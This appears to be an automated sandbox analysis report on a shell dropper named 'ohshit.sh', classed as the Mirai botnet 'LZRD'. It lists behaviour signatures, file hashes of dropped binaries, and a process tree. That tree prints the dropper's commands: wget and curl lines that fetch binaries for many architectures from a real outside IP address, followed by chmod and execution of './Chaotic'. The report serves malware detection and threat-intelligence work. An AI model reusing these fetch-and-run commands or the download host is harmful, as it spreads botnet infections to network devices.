Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-01-2025 13:27

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    0ce735d692827eb3c30a642449846d80

  • SHA1

    89fc4534b140f52ebef84420b843e3d0f4236ccc

  • SHA256

    6063eae6f91c29dbfa3fa8cd98fe0859bc82c5a2ac5da1d17e8067e75f7bc3c8

  • SHA512

    15b3aeb395598dc8b57133c4aec4bc7db9777be7699ebf55fc12138bd6806e1ca7daa7e234f19e1567026cbbeddc912cbaf8e46ee62e1c68858b0eb72ca53c38

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:707
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:711
    • /usr/bin/wget
      wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
      2⤵
      • Writes file to tmp directory
      PID:717
    • /usr/bin/curl
      curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
      2⤵
      • Writes file to tmp directory
      PID:734
    • /bin/cat
      cat ub8ehJSePAfc9FYqZIT6.arc
      2⤵
        PID:738
      • /bin/chmod
        chmod +x busybox Chaotic ohshit.sh systemd-private-6ae54120e8484ef9ae01f933cad733d6-systemd-timedated.service-yVWbQy ub8ehJSePAfc9FYqZIT6.arc
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/Chaotic
        ./Chaotic
        2⤵
        • Executes dropped EXE
        PID:740
      • /usr/bin/wget
        wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
        2⤵
        • Writes file to tmp directory
        PID:742
      • /usr/bin/curl
        curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:743
      • /bin/cat
        cat ub8ehJSePAfc9FYqZIT6.x86
        2⤵
          PID:744
        • /bin/chmod
          chmod +x busybox Chaotic ohshit.sh systemd-private-6ae54120e8484ef9ae01f933cad733d6-systemd-timedated.service-yVWbQy ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/Chaotic
          ./Chaotic
          2⤵
          • Executes dropped EXE
          PID:746
        • /usr/bin/wget
          wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
          2⤵
          • Writes file to tmp directory
          PID:748
        • /usr/bin/curl
          curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:756
        • /bin/cat
          cat ub8ehJSePAfc9FYqZIT6.x86_64
          2⤵
            PID:768
          • /bin/chmod
            chmod +x busybox Chaotic ohshit.sh systemd-private-6ae54120e8484ef9ae01f933cad733d6-systemd-timedated.service-yVWbQy ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:769
          • /tmp/Chaotic
            ./Chaotic
            2⤵
            • Executes dropped EXE
            PID:770
          • /usr/bin/wget
            wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
            2⤵
            • Writes file to tmp directory
            PID:773
          • /usr/bin/curl
            curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:785
          • /bin/cat
            cat ub8ehJSePAfc9FYqZIT6.i686
            2⤵
              PID:802
            • /bin/chmod
              chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:804
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:805
            • /usr/bin/wget
              wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:807
            • /usr/bin/curl
              curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:809
            • /bin/cat
              cat ub8ehJSePAfc9FYqZIT6.mips
              2⤵
              • System Network Configuration Discovery
              PID:810
            • /bin/chmod
              chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:811
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:812
            • /usr/bin/wget
              wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
              2⤵
              • System Network Configuration Discovery
              PID:814
            • /usr/bin/curl
              curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:815
            • /bin/cat
              cat ub8ehJSePAfc9FYqZIT6.mips64
              2⤵
              • System Network Configuration Discovery
              PID:824
            • /bin/chmod
              chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:825
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:826
            • /usr/bin/wget
              wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
              2⤵
              • Writes file to tmp directory
              PID:829
            • /usr/bin/curl
              curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:840
            • /bin/cat
              cat ub8ehJSePAfc9FYqZIT6.mpsl
              2⤵
                PID:851
              • /bin/chmod
                chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:852
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:853
              • /usr/bin/wget
                wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
                2⤵
                • Writes file to tmp directory
                PID:859
              • /usr/bin/curl
                curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:860
              • /bin/cat
                cat ub8ehJSePAfc9FYqZIT6.arm
                2⤵
                  PID:861
                • /bin/chmod
                  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:862
                • /tmp/Chaotic
                  ./Chaotic
                  2⤵
                  • Executes dropped EXE
                  PID:863
                • /usr/bin/wget
                  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:865
                • /usr/bin/curl
                  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:866
                • /bin/cat
                  cat ub8ehJSePAfc9FYqZIT6.arm5
                  2⤵
                    PID:867
                  • /bin/chmod
                    chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:868
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:869
                  • /usr/bin/wget
                    wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:871
                  • /usr/bin/curl
                    curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:872
                  • /bin/cat
                    cat ub8ehJSePAfc9FYqZIT6.arm6
                    2⤵
                      PID:873
                    • /bin/chmod
                      chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:874
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      PID:875
                    • /usr/bin/wget
                      wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:877
                    • /usr/bin/curl
                      curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:879
                    • /bin/cat
                      cat ub8ehJSePAfc9FYqZIT6.arm7
                      2⤵
                        PID:880
                      • /bin/chmod
                        chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:881
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        PID:882
                      • /usr/bin/wget
                        wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:884
                      • /usr/bin/curl
                        curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:885
                      • /bin/cat
                        cat ub8ehJSePAfc9FYqZIT6.ppc
                        2⤵
                          PID:886
                        • /bin/chmod
                          chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:887
                        • /tmp/Chaotic
                          ./Chaotic
                          2⤵
                          • Executes dropped EXE
                          PID:888
                        • /usr/bin/wget
                          wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
                          2⤵
                            PID:890
                          • /usr/bin/curl
                            curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
                            2⤵
                            • Reads runtime system information
                            PID:891

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/Chaotic

                          Filesize

                          37KB

                          MD5

                          45f47c10e0d27c00ac46899fda99f1f3

                          SHA1

                          f68e23694abb254e1a5c7b169547516baead730b

                          SHA256

                          39e7164325dd360f891bf0f9f8e7bebb1c90eb071bb5e98d621793d416647482

                          SHA512

                          dde1d3c1a50cc5647bb2003309da0d1211bb2261de1655ae21bc7782bf36648b08793667ab5b91992f40829f019ee3cda4de48caf5245960b162c7f5f6b3bc6e

                        • /tmp/Chaotic

                          Filesize

                          36KB

                          MD5

                          a8d68db5da4f6a7a3e1deb8e215b373c

                          SHA1

                          b4c0c438485641b0dc66aa7f9a1c2ed641e312dd

                          SHA256

                          8462b46a614a1430cc8ee38ec616c52be8a40cb313f4a924d997e3e4bb2cb51d

                          SHA512

                          2a78bdbe2452a4decca2d77077cfc82fc80fc38a0c00cd50db2f8163290dcc7cbf4c3e81b694e06359f2e0b07ed0a449d5b33977dfd179b71ca103843c84988f

                        • /tmp/Chaotic

                          Filesize

                          37KB

                          MD5

                          b5f71d173c24de88a6d47faeac0ece91

                          SHA1

                          c03bf31317e6b26e428bfd7d600cc3060919ee88

                          SHA256

                          3ef4071f6400e80f9fe2cc0b73f4753887cf67baf991c7d6379f4a3a6057646e

                          SHA512

                          c0a5d1641888473b8ff85a1f1534da77fd5165245db02fa9ae7b9e073515f4ec2531e17c065d94e742f341f5e25bf8f26be94cd0ce9e52ca294f820fe24984bc

                        • /tmp/Chaotic

                          Filesize

                          43KB

                          MD5

                          9b5df40ff02aa4c459013a44db247e16

                          SHA1

                          48c4c9eb53a8c08be56280dc2c281b841d63d409

                          SHA256

                          484b9bfe7ff983a6e55c5304c38d3183bc32e843bb3fed4627d94f9a8a9d4ea9

                          SHA512

                          254e4cfa6fb5332702bf37c57202d566b82b7a112ec3894bd2f60dc6cd73810af7fd2de7e9578c4bb13292cb92b62ccfeff27a713ae259409f5ec4b7e3031ba3

                        • /tmp/Chaotic

                          Filesize

                          60KB

                          MD5

                          b9ca14ff4d46c3e0520eb74f3032a25e

                          SHA1

                          a909cbc13470c18a9d7cab41469281352b220bd2

                          SHA256

                          5cfd91b099b621ee2ae00c6e88800630b20066b20207de2e6b764656474330b4

                          SHA512

                          8d28c8c3a29e96d6115531e41eccf65d8dbf101d8d3b8c52e377e6984ceffc2f8253d2b1acda7402c5661fd9250d55dfbf489c0e6257563567a015585927272f

                        • /tmp/busybox

                          Filesize

                          857KB

                          MD5

                          6ffc46165b5d9726a6607f3ea5305589

                          SHA1

                          ab127220f42e816b413dde0d17031e251a7bc98f

                          SHA256

                          80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                          SHA512

                          456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

                        • /tmp/ub8ehJSePAfc9FYqZIT6.arc

                          Filesize

                          113KB

                          MD5

                          1dcd23c847d8cba5b5d634511b6bf9ee

                          SHA1

                          06e038d11d3a5f7b0875e3594531b5a9df4dab79

                          SHA256

                          0b7c0bf25d7092d28d5f7e41087c53309ae1c39f2f8b60517b3e9cd89404312e

                          SHA512

                          d5ee9e1552a0df29fb9ff1fc9e651c26afc8b2415df33cdf97ac27ecb9d327b56d0d49cd0006ccc8ed9807642ef82f44ea00a69349eaba17241f78eaae5a2ca4